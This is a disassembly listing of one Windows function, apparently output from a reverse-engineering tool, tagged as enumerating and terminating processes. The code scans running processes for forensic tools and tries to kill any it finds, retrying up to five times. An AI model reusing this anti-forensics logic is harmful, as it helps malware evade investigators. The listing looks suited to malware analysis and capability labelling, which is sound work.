Function at 0x140054ea0
Capabilities:
Enumerate process modules
Terminate process

Disassembly:
mov eax, 0x10b8
call fcn.14005d950
sub rsp, rax
mov rax, qword [0x1400a3f38]
xor rax, rsp
mov qword [rsp + 0x10a0], rax
lea r8, [rsp + 0x40]
mov edx, 0x1000
lea rcx, [rsp + 0xa0]
call sub.KERNEL32.dll_K32EnumProcesses
test eax, eax
jne 0x140054f01
lea rdx, str.Failed_to_enumerate_processes.
lea rcx, [0x1400a6330]
call fcn.140017200
lea rdx, [0x1400566b0]
mov rcx, rax
call fcn.140008c20
jmp 0x140055210
mov eax, dword [rsp + 0x40]
xor edx, edx
mov ecx, 4
div rcx
mov dword [rsp + 0x44], eax
mov qword [rsp + 0x28], 0
jmp 0x140054f2b
mov rax, qword [rsp + 0x28]
inc rax
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0x44]
cmp qword [rsp + 0x28], rax
jae 0x140055210
mov rax, qword [rsp + 0x28]
cmp dword [rsp + rax*4 + 0xa0], 0
jne 0x140054f4b
jmp 0x140054f1e
mov rax, qword [rsp + 0x28]
mov r8d, dword [rsp + rax*4 + 0xa0]
xor edx, edx
mov ecx, 0x411
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
je 0x14005520b
mov rdx, qword [rsp + 0x38]
lea rcx, [rsp + 0x80]
call fcn.140055230
lea rax, [0x1400a5b40]
mov qword [rsp + 0x58], rax
mov rcx, qword [rsp + 0x58]
call fcn.14000e0b0
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x58]
call fcn.14000c8a0
mov qword [rsp + 0x68], rax
jmp 0x140054fc2
mov rax, qword [rsp + 0x30]
add rax, 0x20
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x68]
cmp qword [rsp + 0x30], rax
je 0x1400551f3
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x70], rax
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x80]
call fcn.1400554b0
movzx eax, al
test eax, eax
je 0x1400551ee
lea rdx, str.Detected_forensic_tool_running:
lea rcx, [0x1400a6460]
call fcn.140017200
lea rdx, [rsp + 0x80]
mov rcx, rax
call fcn.140017510
lea rdx, str.._Attempting_to_terminate.
mov rcx, rax
call fcn.140017200
lea rdx, [0x1400566b0]
mov rcx, rax
call fcn.140008c20
mov dword [rsp + 0x60], 5
mov dword [rsp + 0x50], 0xc8
mov dword [rsp + 0x24], 0
mov byte [rsp + 0x20], 0
cmp dword [rsp + 0x24], 5
jge 0x140055188
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140055188
mov edx, 1
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x1400550bf
lea rdx, str.Successfully_terminated:
lea rcx, [0x1400a6460]
call fcn.140017200
lea rdx, [rsp + 0x80]
mov rcx, rax
call fcn.140017510
lea rdx, [0x1400566b0]
mov rcx, rax
call fcn.140008c20
mov byte [rsp + 0x20], 1
jmp 0x140055183
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x4c], eax
mov ecx, dword [rsp + 0x24]
inc ecx
mov dword [rsp + 0x48], ecx
lea rdx, str.Failed_to_terminate:
lea rcx, [0x1400a6330]
call fcn.140017200
lea rdx, [rsp + 0x80]
mov rcx, rax
call fcn.140017510
lea rdx, [0x14008e7a8]
mov rcx, rax
call fcn.140017200
mov ecx, dword [rsp + 0x48]
mov edx, ecx
mov rcx, rax
call fcn.140056c80
lea rdx, [0x14008e7a4]
mov rcx, rax
call fcn.140017200
mov edx, 5
mov rcx, rax
call fcn.140056c80
lea rdx, str.._Error:
mov rcx, rax
call fcn.140017200
mov ecx, dword [rsp + 0x4c]
mov edx, ecx
mov rcx, rax
call fcn.140056ea0
lea rdx, [0x1400566b0]
mov rcx, rax
call fcn.140008c20
mov eax, dword [rsp + 0x24]
inc eax
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 5
jge 0x140055183
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x78]
call fcn.140055300
mov rcx, rax
call fcn.140056700
jmp 0x140055057
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x1400551ee
lea rdx, str.Unable_to_terminate:
lea rcx, [0x1400a6330]
call fcn.140017200
lea rdx, [rsp + 0x80]
mov rcx, rax
call fcn.140017510
lea rdx, str._after
mov rcx, rax
call fcn.140017200
mov edx, 5
mov rcx, rax
call fcn.140056c80
lea rdx, str._attempts.
mov rcx, rax
call fcn.140017200
lea rdx, [0x1400566b0]
mov rcx, rax
call fcn.140008c20
jmp 0x140054fb4
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x80]
call fcn.14002bf30
jmp 0x140054f1e
mov rcx, qword [rsp + 0x10a0]
xor rcx, rsp
call fcn.14005d690
add rsp, 0x10b8
ret